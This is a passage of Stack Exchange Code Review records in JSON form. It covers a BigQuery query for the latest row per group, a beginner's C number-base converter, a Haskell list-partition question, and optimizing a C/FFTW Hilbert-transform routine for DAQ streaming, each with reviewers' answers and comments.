<td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n2&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-02</td> <td>q1</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-01</td> <td>q2</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;N2&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-01</td> <td>q3</td> <td>&quot;[&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>3</td> <td>2018-03-14</td> <td>q1</td> <td>&quot;[&quot;&quot;n2&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>3</td> <td>2018-03-26</td> <td>q2</td> <td>&quot;[&quot;&quot;n1&quot;&quot;]&quot;</td> </tr> <tr> <td>3</td> <td>2018-03-14</td> <td>q3</td> <td>&quot;[&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> </tbody> </table> </div> <p>The result:</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>id</th> <th>date</th> <th>question</th> <th>answers</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>2018-12-10</td> <td>q1</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n2&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-12-10</td> <td>q2</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-12-10</td> <td>q3</td> <td>&quot;[&quot;&quot;n2&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-02</td> <td>q1</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-01</td> <td>q2</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;N2&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-01</td> <td>q3</td> <td>&quot;[&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>3</td> <td>2018-03-14</td> <td>q1</td> <td>&quot;[&quot;&quot;n2&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>3</td> <td>2018-03-26</td> <td>q2</td> <td>&quot;[&quot;&quot;n1&quot;&quot;]&quot;</td> </tr> <tr> <td>3</td> <td>2018-03-14</td> <td>q3</td> <td>&quot;[&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> </tbody> </table> </div>
[]
[ { "body": "<p>I can't speak for Google BigQuery, but in other databases common table expressions impose an optimization boundary and subqueries can perform better; so consider dropping your <code>with</code>.</p>\n<p>Is the only purpose of <code>tbl_src</code> to do an <code>order by</code>? It seems so. It's in somewhat of a backwards place, because <code>order by</code> can only be guaranteed to be preserved at the outer level of a query and not after a <code>join</code>, and anything else that works is &quot;by accident&quot;.</p>\n<p>Try the following:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>select *\nfrom (\n select id, question, answers, max(date) as max_date\n from `tests2.o1.mc`\n group by id, question, answers\n)\norder by id, max_date\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T07:44:23.333", "Id": "499942", "Score": "0", "body": "Thank you for extremely valuable comments! However the proposed query does not return the last field (*answers*). The reason why I first grouped and then joined was to return more fields than just id, question and max_date. About ordering, you are correct. One question from my side: when would it be appropriate to use `with`? Is it cases when I would use the same query more than once?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T16:15:14.137", "Id": "499977", "Score": "0", "body": "I've edited to include `answers`, which simply needs to be in the `group by`. Regarding `with`: the answer is basically \"when you can't subquery\", which - yes - includes the case where the subquery needs to be reused." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:01:57.293", "Id": "499990", "Score": "0", "body": "Some answers in id-question groups differ, so instead of 9 records I get 13. I guess I should use the previous version + a join." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:44:10.937", "Id": "499995", "Score": "0", "body": "Let's discuss in https://chat.stackexchange.com/rooms/117358/table-results-for-google-big-query" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T21:16:16.513", "Id": "253517", "ParentId": "253516", "Score": "1" } }, { "body": "<p>You can use <a href=\"https://cloud.google.com/bigquery/docs/reference/standard-sql/numbering_functions#row_number\" rel=\"nofollow noreferrer\"><code>ROW_NUMBER</code></a> to rank your data according to <code>date</code> for each combination of <code>id</code> and <code>question</code>; then simply select the row with a <code>ROW_NUMBER</code> of 1:</p>\n<pre><code>WITH tbl_max_date AS (\n SELECT *,\n ROW_NUMBER() OVER (PARTITION BY id, question ORDER BY date DESC) AS rn\n FROM tests2.o1.mc\n)\nSELECT *\nFROM tbl_max_date\nWHERE rn = 1\n</code></pre>\n<p>If you could have more than one row with the same maximum value per group, you can use <a href=\"https://cloud.google.com/bigquery/docs/reference/standard-sql/numbering_functions#rank\" rel=\"nofollow noreferrer\"><code>RANK</code></a> in place of <code>ROW_NUMBER</code>, as that will give all rows with the same value the same ranking. For example:</p>\n<pre><code>WITH tbl_max_date AS (\n SELECT *,\n RANK() OVER (PARTITION BY id, question ORDER BY date DESC) aS rn\n FROM tbl_src\n)\nSELECT *\nFROM tbl_max_date\nWHERE rn = 1\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T10:35:14.120", "Id": "253533", "ParentId": "253516", "Score": "2" } } ]
{ "AcceptedAnswerId": "253533", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T21:00:01.047", "Id": "253516", "Score": "3", "Tags": [ "sql", "join", "google-bigquery" ], "Title": "Keeping only maximum date rows in a group" }
253516
<p>I'm a beginner and tried to make a decimal to any base converter using C and I plan to upgrade it to an any base to any base converter.</p> <p>This is my code: (questions at the bottom)</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; //DECIMAL TO ANY BASE void decIntTAB(); void decFraTAB(); int digitCount(); void printOut(); int main() { printf(&quot;\t\t\t\t\tBASIC NUMBER CONVERSIONS\n\n&quot;); printf(&quot;Base Guide: \t\t2 - Binary \t\t8 - Octal \t\t10 - Decimal \t\t16 - Hexadecimal\n\n&quot;); char input[150]; double temp; int base; printf(&quot;Input decimal: &quot;); scanf(&quot;%s&quot;, input); printf(&quot;Convert to base: &quot;); scanf(&quot;%d&quot;, &amp;base); printf(&quot;\n\n&quot;); if(sscanf(input, &quot;%lf&quot;, &amp;temp)==1){ if((int)temp-temp!=0){//integer input minus original input, if it is not 0, it is a float int decimalInt=(int)temp; double decimalFlt=temp-decimalInt; decIntTAB(decimalInt,base); printf(&quot;.&quot;); decFraTAB(decimalFlt, base); }else{ //integer int decimalInt=(int)temp; decIntTAB(decimalInt, base); } }else{ printf(&quot;Invalid Input&quot;); } printf(&quot;\n\n&quot;); return 0; } int digitCount(int input, int base){//counts digit to be used in array in decimal integer conversion int rem; int digit=0; while(input&gt;0){ rem=input%base; input=input/base; digit++; } return digit; } void printOut(int x){//PRINTS OUT ALL DIGITS; INCLUDES HEXADECIMAL CONVERT; input INTEGER to print char hex[6]=&quot;ABCDEF&quot;; int hexCheck=10; if(x&gt;10){//if answer is 10 above print as ABCDEF for(int n=0;n&lt;=6;n++){ if(x==hexCheck){ printf(&quot;%c&quot;, hex[n]); break; }else{ hexCheck++; } } }else{ printf(&quot;%d&quot;, x);//if answer is 9 below print as is } } void decIntTAB(int input, int base){ //performs decimal integer to any base; input INPUT and BASE int rem; //COUNTS NUMBER OF DIGITS TO BE USED IN ARRAY int digit=digitCount(input, base); int array[digit]; //MATH PROCESS for(int a=(digit-1);a&gt;=0;a--){ //assigns remainder/answer in reverse (since first answer is least significant) rem=input%base; array[a]=rem; input=input/base; } for(int b=0;b&lt;=(digit-1);b++){//Prints out array printOut(array[b]); } } void decFraTAB(double input, int base){ while (input&gt;0){ input=input*base; int temp=(int)input; printOut(temp); input=input-temp;//sets input to be input(in fractional form) minus temp(input's integer value) to isolate fractional value } } </code></pre> <ul> <li>Is there any way to better, shorten or optimize my code?</li> <li>To convert an integer decimal to any base, I use this equation where the result should be reversed. At first I tried to do that by doing the equation without printing or saving the result to count (digitCount() function) how many times it loops so I can use that count to make an array where I would redo the equation, this time saving the values in an array in reverse. Thing is, I realized just now that I could do it with the code below as well with having to make a digitCount() function, only I'll just have to make an int array with a pretty big number (int array[200]). Code:</li> </ul> <pre><code>void decIntTAB(int input, int base){ //performs decimal integer to any base; input INPUT and BASE int rem; int array[200]; int digit=0; //MATH PROCESS while(rem&gt;=0){ rem=input%base; array[digit]=rem;//Puts value in array from left to right (index 0 to maximum) input=input/base; digit++; } for(int a=(digit-1);a&gt;=0;a--){//Prints out array from right to left (index maximum to 0) printOut(array[a]); } } </code></pre> <ul> <li>Would this be a better alternative to having to make a separate function like my digitCount()?</li> <li>Can you give me other tips to make this code better or maybe if there's some function in C that I'm not aware of that could replace something in my code?</li> </ul> <p>Thanks!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T04:14:00.047", "Id": "499929", "Score": "1", "body": "your function signatures do not match the actual function code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T07:10:44.923", "Id": "499940", "Score": "1", "body": "You might want to look at the source code for library implementations of `strtol`, which does exactly what you want." } ]
[ { "body": "<blockquote>\n<pre><code>void decIntTAB();\nvoid decFraTAB();\nint digitCount();\nvoid printOut();\n</code></pre>\n</blockquote>\n<p>Prefer to make these declarations <strong>prototypes</strong> - i.e. include the arguments so that the compiler can confirm that they are called correctly.</p>\n<blockquote>\n<pre><code>printf(&quot;Input decimal: &quot;);\nscanf(&quot;%s&quot;, input);\nprintf(&quot;Convert to base: &quot;);\nscanf(&quot;%d&quot;, &amp;base);\n</code></pre>\n</blockquote>\n<p><code>scanf()</code> can fail (so can <code>printf()</code>, but that's less serious). We really don't want to continue if that happens, so check the return value! Also, flush output before reading input, so that the user definitely gets the prompt.</p>\n<blockquote>\n<pre><code>scanf(&quot;%s&quot;, input);\n</code></pre>\n</blockquote>\n<p>This line is particularly dangerous, as we haven't limited the maximum input size to what will fit in <code>input</code>.</p>\n<blockquote>\n<pre><code>scanf(&quot;%d&quot;, &amp;base);\n</code></pre>\n</blockquote>\n<p>Why is <code>base</code> a signed integer? Do we support negative bases?</p>\n<p>We certainly ought to be checking that <code>base</code> is not 0 or 1 before converting. Don't trust user input!</p>\n<blockquote>\n<pre><code> if ((int)temp-temp != 0) {\n</code></pre>\n</blockquote>\n<p>Although this is used as a test for having a fractional part, this may also be true for inputs outside the range of <code>int</code>. A safer test would be to use <code>trunc()</code> - note you'll still want to check the range before any conversion to integer type.</p>\n<blockquote>\n<pre><code>int digitCount(int input, int base){\n int rem;\n</code></pre>\n</blockquote>\n<p>What's <code>rem</code> for? We assign to it, but never use it, so it can just be removed.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T10:27:00.857", "Id": "253532", "ParentId": "253525", "Score": "1" } }, { "body": "<p><strong>Bug (conversion)</strong></p>\n<p>When <code>double temp</code> is well outside the <code>int</code> range, <code>(int)temp</code> is <em>undefined behavior</em> (UB).</p>\n<pre><code> if((int)temp-temp!=0){\n</code></pre>\n<p>Instead use <code>modf()</code> to returns the fractional portion of <code>temp</code>.</p>\n<pre><code> double whole;\n if (modf(temp, &amp;whole) != 0.0) {\n</code></pre>\n<p><strong>Insufficient buffer</strong></p>\n<p><code>char input[150];</code> seems small for &quot;a decimal to any base converter&quot; as <code>DBL_MAX</code> is often a 309 base-10 digit, 1024 base-2 value.</p>\n<p>Yet it looks like code is attempting only an <code>int</code> range conversion. A buffer size of <code>sizeof(int) * CHAR_BIT + a_few</code> should suffice.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-20T04:57:46.957", "Id": "253692", "ParentId": "253525", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T02:51:18.703", "Id": "253525", "Score": "4", "Tags": [ "beginner", "c" ], "Title": "Decimal to Any Base Converter with C" }
253525
<p>Need to partition a list of integers into sublists if it matches with an integer that is passed in. For example if the integer passed in is 3, [1,2,3,4,3,5,3] will become [[1,2,3],[4,3],[5,3]], How can i accomplish this?</p> <p><code>listToSublist :: [Int] -&gt; x -&gt; [[Int]] </code> <code>-- Looks pathetic but this is honestly as far as I have come without errors,</code> <code>--I'm in desperate need to do this would appreciate any help</code></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:52:45.330", "Id": "499949", "Score": "0", "body": "this does not belong on Code _Review_." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:57:28.600", "Id": "499951", "Score": "0", "body": "@WillNess know man, but I accidentally posted here and can't post for another 90 minutes, is there any way you can help me with this? Thanks" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T10:27:26.520", "Id": "499961", "Score": "0", "body": "Just delete this post, and post somewhere else. fair warning, it is on topic for StackOveflow, but it has no code in it so might get closed." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:37:39.700", "Id": "253530", "Score": "1", "Tags": [ "haskell" ], "Title": "Partition lists into sublists based on condition in haskell?" }
253530
<p>I am using a dual channels DAQ card with data stream mode. I wrote some code for analysis/calculation and put them to the main code for operation. However, the FIFO overflow warning sign always occur once its total data reach around 4300 MS (the DAQ on board memory is 8GB). I am well-known that a complicated calculation might retard the system and cause the overflow but all of the works I wrote are necessary to my experiment which means cannot be replaced (or there is more effective code can let me get the same result). Could anyone point out if there are any ways that I can optimize my code? My computer has 64GB RAM and Intel Core i7 processor. I always turn off other unnecessary software when running the data stream code.</p> <p>This is how I process the data:</p> <ol> <li>Install the FFTW source code for the Hilbert transform.</li> <li>Allocate buffer size for channel1 and channel2.</li> <li>Use <code>for</code> loop to get ch1 and ch2 data from the main buffer.</li> <li>Do the <code>hilbert</code> on ch2 and calculate its <code>absolute</code> number.</li> <li>Find the max value of ch1 and <code>abs(hilbert(ch2))</code>.</li> <li>Calculate <code>max(abs(hilbert(ch2))) / max(ch1)</code>. Here is the detail of the my calculation code:</li> </ol> <pre><code>float SumBufferData(void* pBuffer, uInt32 u32Size, uInt32 u32SampleBits) { // In this routine we sum up all the samples in the buffer. This function // should be replaced with the user's analysys function uInt32 i,n; uInt8* pu8Buffer = NULL; int16* pi16Buffer = NULL; int64 i64Sum = 0; float max1 = 0.0; float max2 = 0.0; float min2 = 0.0; float Corrected =0.0; float AUC = 0.0; float* ch1Buffer = NULL; double* ch2Buffer = NULL; if ( 8 == u32SampleBits ) { pu8Buffer = (uInt8 *)pBuffer; for (i = 0; i &lt; u32Size; i++) { i64Sum += pu8Buffer[i]; } } else { pi16Buffer = (int16 *)pBuffer; fftw_complex(hilbertedch2[N]); ch1Buffer = (float*)calloc(u32Size, sizeof(float)); ch2Buffer = (double*)calloc(u32Size, sizeof(double)); // Divide ch1 and ch2 data from pi16Buffer for (i = 0; i &lt; u32Size/2; i++) { ch1Buffer[i] += pi16Buffer[i*2]; ch2Buffer[i] += pi16Buffer[i * 2 + 1]; } // Here hilbert on the whole ch2 hilbert(ch2Buffer, hilbertedch2); //Find max value in each segs of ch1 and hilbertedch2 for (i = 0; i &lt; u32Size/2; i++) { if (ch1Buffer[i] &gt; max1) max1 = ch1Buffer[i]; if (abs(hilbertedch2[i][IMAG])&gt; max2) max2 = abs(hilbertedch2[i][IMAG]); } Corrected = max2 / max1; // Calculate the signal correction if (Corrected &gt; 0.1) // check the threshold and calculate area under curve AUC += Corrected; else AUC = 0; } free(ch1Buffer); free(ch2Buffer); return AUC; } </code></pre> <p>And the source code from FFTW:</p> <pre><code>void hilbert(const double* in, fftw_complex* out) { // copy the data to the complex array for (int i = 0; i &lt; N; ++i) { out[i][REAL] = in[i]; out[i][IMAG] = 0; } // creat a DFT plan and execute it fftw_plan plan = fftw_plan_dft_1d(N, out, out, FFTW_FORWARD, FFTW_ESTIMATE); fftw_execute(plan); // destroy a plan to prevent memory leak fftw_destroy_plan(plan); int hN = N &gt;&gt; 1; // half of the length (N/2) int numRem = hN; // the number of remaining elements // multiply the appropriate value by 2 //(those should multiplied by 1 are left intact because they wouldn't change) for (int i = 1; i &lt; hN; ++i) { out[i][REAL] *= 2; out[i][IMAG] *= 2; } // if the length is even, the number of the remaining elements decrease by 1 if (N % 2 == 0) numRem--; else if (N &gt; 1) { out[hN][REAL] *= 2; out[hN][IMAG] *= 2; } // set the remaining value to 0 // (multiplying by 0 gives 0, so we don't care about the multiplicands) memset(&amp;out[hN + 1][REAL], 0, numRem * sizeof(fftw_complex)); // creat a IDFT plan and execute it plan = fftw_plan_dft_1d(N, out, out, FFTW_BACKWARD, FFTW_ESTIMATE); fftw_execute(plan); // do some cleaning fftw_destroy_plan(plan); fftw_cleanup(); // scale the IDFT output for (int i = 0; i &lt; N; ++i) { out[i][REAL] /= N; out[i][IMAG] /= N; } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:17:28.537", "Id": "500084", "Score": "0", "body": "What type is `hilbertedch2`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:50:54.600", "Id": "500090", "Score": "0", "body": "Hi, it is an array with double" } ]
[ { "body": "<blockquote>\n<p>Could anyone point out if there are any ways that I can optimize my code?</p>\n</blockquote>\n<p>In general, there are no better-than-linear improvements here.</p>\n<p><code>*alloc()</code> can be expensive. Since code is calling it twice and then freeing the pointers at the same time, save one expensive <code>*alloc()</code> by doing 1 rather than 2.</p>\n<p>With VLA support, it is easy</p>\n<pre><code>struct {\n float ch1Buffer[u32Size];\n double ch2Buffer[u32Size];\n} *x;\n\nx = calloc(1, sizeof *x);\n</code></pre>\n<p>... or allocate as an array of <code>struct</code>.</p>\n<pre><code>struct {\n float ch1Buffer;\n double ch2Buffer;\n} *x;\nx = calloc(u32Size, sizeof *x);\n</code></pre>\n<p><code>ch1Buffer{]</code> is not even needed here. Code does not use the array in an array fashion.</p>\n<hr />\n<p><strong>Strange Code</strong></p>\n<p>Why <code>+=</code> instead of <code>=</code>? Assignment just as well here.</p>\n<pre><code> // AUC += Corrected;\n AUC = Corrected;\n</code></pre>\n<hr />\n<p><strong>Integer function used for FP code</strong></p>\n<p>OP commented that <code>hilbertedch2</code> is an array with <code>double</code></p>\n<p><code>abs()</code> is for integers.</p>\n<pre><code>// if (abs(hilbertedch2[i][IMAG])&gt; max2)\n// max2 = abs(hilbertedch2[i][IMAG]);\nif (fabs(hilbertedch2[i][IMAG])&gt; max2)\n max2 = fabs(hilbertedch2[i][IMAG]);\n</code></pre>\n<hr />\n<p>I'd expect using <code>double</code> for <code>max2</code>.</p>\n<pre><code>// float max2 = 0.0;\ndouble max2 = 0.0;\n</code></pre>\n<hr />\n<p>If <code>float Corrected</code> remains <code>float</code>, use <code>float</code> constants.</p>\n<pre><code>// if (Corrected &gt; 0.1) \nif (Corrected &gt; 0.1f)\n</code></pre>\n<p>Tip: enable all compiler warnings.</p>\n<hr />\n<p><strong>Improve review and maintainability</strong></p>\n<p>Cast not needed. Size of the referenced object, rather than trying to match the type. Easier to code right, review and maintain.</p>\n<pre><code>// ch1Buffer = (float*)calloc(u32Size, sizeof(float));\nch1Buffer = calloc(u32Size, sizeof *ch1Buffer);\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:22:41.340", "Id": "500097", "Score": "0", "body": "Thanks. In the allocation part, the x need to be declared to which kind of variable first? In the AUC part: += means calculate area under curve by summing the data points." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:30:05.593", "Id": "500098", "Score": "0", "body": "Yes. `some_type *ptr = malloc(sizeof *ptr * n);` works fine." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:31:51.020", "Id": "500099", "Score": "0", "body": "@Kevin `AUC += Corrected` is only used, at most, once. It is not in a loop. It does not sum points" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:37:58.510", "Id": "500100", "Score": "0", "body": "Then which is better to present to sum the data points?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T22:01:52.277", "Id": "500103", "Score": "0", "body": "@Kevin You need a loop to sum the data points. `for, while, do, ...`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T11:49:16.987", "Id": "500339", "Score": "0", "body": "Hi I tried two parts of your answer, one is the allocation and the other is the fabs.\n1. If I used fabs, the value of the data will become `Inf`, that is weird...\n2. I used `struct {\n float ch1Buffer;\n double ch2Buffer;...` but in the ` for (i = 0; i < u32Size/2; i++)\n {\n ch1Buffer[i] += pi16Buffer[i*2];\n ch2Buffer[i] += pi16Buffer[i * 2 + 1];\n }` the ` ch2Buffer[i] += pi16Buffer[i * 2 + 1]` showed `Unhandled exception at 0x00000001400036E6 in ... 0xC0000005: Acess violation reading location 0x00000000000000`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T11:57:00.977", "Id": "500340", "Score": "0", "body": "I set my segment size is 7840. As I am using two channels, it will be filled in as ch1ch2ch1ch2ch1ch2.... So, the total `u32Size` is 7840*2=15680. This is how my data stream works to fill up the memory." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T17:08:26.207", "Id": "500354", "Score": "0", "body": "@Kevin Do you have all your compiler warnings enabled? Did you include `<math.h>`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:07:28.280", "Id": "500361", "Score": "0", "body": "Yes, I have already include `<math.h>` but what did you mean enable all the compiler warning? Because I'm quite new in writing C code..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:15:28.137", "Id": "500363", "Score": "0", "body": "@Kevin Compilers allow various options. Some options control the the amount of warnings that are reported. Unfortunately the default warning set is often minimal. Research your compiler , save time and enable all warnings." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:25:38.653", "Id": "500366", "Score": "0", "body": "Thanks, how about the memory allocation part? I got an error after I put the `struct{}` as you pointed out. However, the error happened in `for (i = 0; i < u32Size/2; i++) {ch1Buffer[i] += pi16Buffer[i*2]; ch2Buffer[i] += pi16Buffer[i * 2 + 1];}`\nUnhandled exception at 0x00000001400036F1 in GageStream2AnalysisSimple.exe: 0xC0000005: Access violation reading location 0x0000000000000000." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:26:18.740", "Id": "500367", "Score": "0", "body": "I suspect allocation error. Pseudo code suggestion `ptr = calloc(u32Size, sizeof *ptr);` idiom. Note no coding of the type here. Then check the return value: `if (ptr == NULL) Handle_OutOfMemory();`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:35:19.933", "Id": "500369", "Score": "0", "body": "I wrote it in the `SumBufferData` and got `unresolved external symbolHandle_OutOfMemory();`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:37:52.643", "Id": "500371", "Score": "0", "body": "@Kevin `Handle_OutOfMemory()` is meant to be code you write. What do you want to happen is the allocation failed?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T14:47:21.727", "Id": "500529", "Score": "0", "body": "I've confirmed that the allocation is succeed. It is working fine when I am using `ptr = calloc(u32Size, sizeof *ptr);` to allocate, but not the `struct{}`. Some people suspect that is because I'm getting the data via unusual way `ch1Buffer[i] += pi16Buffer[i*2]; ch2Buffer[i] += pi16Buffer[i * 2 + 1];` However, I have to do that to obey the rule when my data filling to the DAQ buffer ch1ch2ch1ch2ch1ch2.... Otherwise, any better methods?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-29T10:17:36.617", "Id": "500987", "Score": "0", "body": "1. I got a fix from my problem now. It should change the format to like `x[i].ch1Buffer += pi16Buffer[i * 2];` However, once it changed to this, it became `Access violation...` error when I tried to use `hilber()`. It is because it no longer a contiguous array? Any thought?\n2. The `fabs` is workable now." } ], "meta_data": { "CommentCount": "16", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T19:17:13.470", "Id": "253590", "ParentId": "253534", "Score": "1" } }, { "body": "<h1>Don't allocate memory while processing the data</h1>\n<p>Reserve space for <code>ch1Buffer</code> and <code>ch2Buffer</code> once while your program initializes, so that there is enough to handle any value of <code>u32Size</code> that you might pass to the function (since you are streaming data, I am guessing that this will be a constant anyway, and there's also the fact that the function <code>hilbert()</code> doesn't take a size parameter but uses <code>N</code> instead).</p>\n<h1>Calculate a plan once and reuse it</h1>\n<p>Similar to the memory allocation, you should create all the <code>fftw_plan</code>s you need once, and then reuse them. You can then also use <code>FFTW_MEASURE</code> to create more optimal plans. If you also need your program to start up fast, consider also using <a href=\"http://www.fftw.org/fftw3_doc/Wisdom.html\" rel=\"nofollow noreferrer\">FFTW's wisdom mechanism</a>.</p>\n<h1><code>double</code> or <code>float</code>?</h1>\n<p>As chux also mentioned, you are mixing <code>float</code> and <code>double</code> variables. Do you need both types? If <code>float</code> gives you enough precision for what you want to do, use the <code>float</code> variants of the FFTW functions to get a large speed boost.</p>\n<h1>Compile with <code>-Ofast -march=native</code></h1>\n<p>Use the compiler flags <code>-Ofast -march=native</code> (or whatever the equivalent is for your compiler). This allows the compiler to vectorize your code using SSE instructions: <code>-march=native</code> tells it to use the best vector instructions that your CPU supports, and <code>-Ofast</code> tells it to cut a few corners when it comes to strict compliance to the standard, but typically it allows it to ignore things like denormal floating point numbers and other very unlikely things that might need extra instructions to handle, or that would even prevent vectorization. With these flags, GCC, Clang and ICC will all vectorize the loop that calculates the maximum absolute values.</p>\n<p>Note that using <code>fabs()</code> (or <code>fabsf()</code> when using <code>float</code>s) is very important to keep the code efficient. Chux already mentioned that in his answer.</p>\n<h1>Try splitting the maximum calculation loop in two</h1>\n<p>You have one loop that scans through two arrays simultaneously. That may or may not be less efficient than splitting this into two loops, one for each array. It is hard to predict which will be more efficient, this depends on how fast the CPU can crunch numbers vs. how much memory bandwidth it can sustain, how good the prefetcher of the CPU is, and how the compilers actually compile the loops. So you need to try out both variants yourself and measure the difference in performance.</p>\n<h1>Avoid scaling the result of the inverse DFT</h1>\n<p>Instead of dividing all elements of the array <code>out</code> before returning from <code>hilbert()</code>, don't scale the output, but instead just divide <code>max2</code> by <code>N</code> after calculating the maximum.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T22:03:31.897", "Id": "500104", "Score": "0", "body": "Hi, thanks for the reply. In first and the second parts, do you mean I have to set memory allocation and fftw_plan (does the create of IDFT also?)out of the “void”?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T22:17:37.957", "Id": "500105", "Score": "0", "body": "I'm not sure what you mean by \"out of the void\". The memory allocations and calls to `fftw_plan()` should be done outside the functions that are called to process the stream, so outside `SumBufferData()` and `hilbert()`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T22:31:12.423", "Id": "500106", "Score": "0", "body": "Got your point and it is what I mean, thanks!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T22:57:57.723", "Id": "500108", "Score": "0", "body": "I am not really get the last part. Could you specify with code or else, thanks!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T19:46:46.990", "Id": "500468", "Score": "0", "body": "I tried to move `fftw_plan plan = fftw_plan_dft_1d(N, out, out, FFTW_FORWARD, FFTW_ESTIMATE);` outside to the `hilbert()` but buggy, such as `plan` and `out` need to redefine. Could you point out how to modify once the `fftw_plan plan = fftw_plan_dft_1d(N, out, out, FFTW_FORWARD, FFTW_ESTIMATE);` is outside the void?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-29T13:11:50.057", "Id": "500994", "Score": "0", "body": "What do you mean `Compile with -Ofast -march=native`, could you give me a more specific example to show how to compile? Because the compiler what I am using is just VS2019. I am just a beginner in C or C++." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-06T12:51:34.657", "Id": "501681", "Score": "0", "body": "Should I use GCC instead of VS2019?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-06T16:05:35.790", "Id": "501696", "Score": "0", "body": "Ah, if you use VS2019 then at least use [`/O2`](https://docs.microsoft.com/en-us/cpp/build/reference/o-options-optimize-code?view=msvc-160). I don't know which other flags would help with vectorization, maybe someone else can answer that." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-06T16:16:33.307", "Id": "501699", "Score": "1", "body": "Hi, here are some of my thought after following your guide: 1.Put the memory allocation out of the function didn't make it faster. 2. But move out and reuse the `plan` did upgrade the speed. 3. Splitting to two `for` loops didn't show any difference 4. Scaling the IDFT just divide `max2` by `N` also didn't show difference too.\nBut, Thanks!" } ], "meta_data": { "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:36:29.077", "Id": "253593", "ParentId": "253534", "Score": "1" } 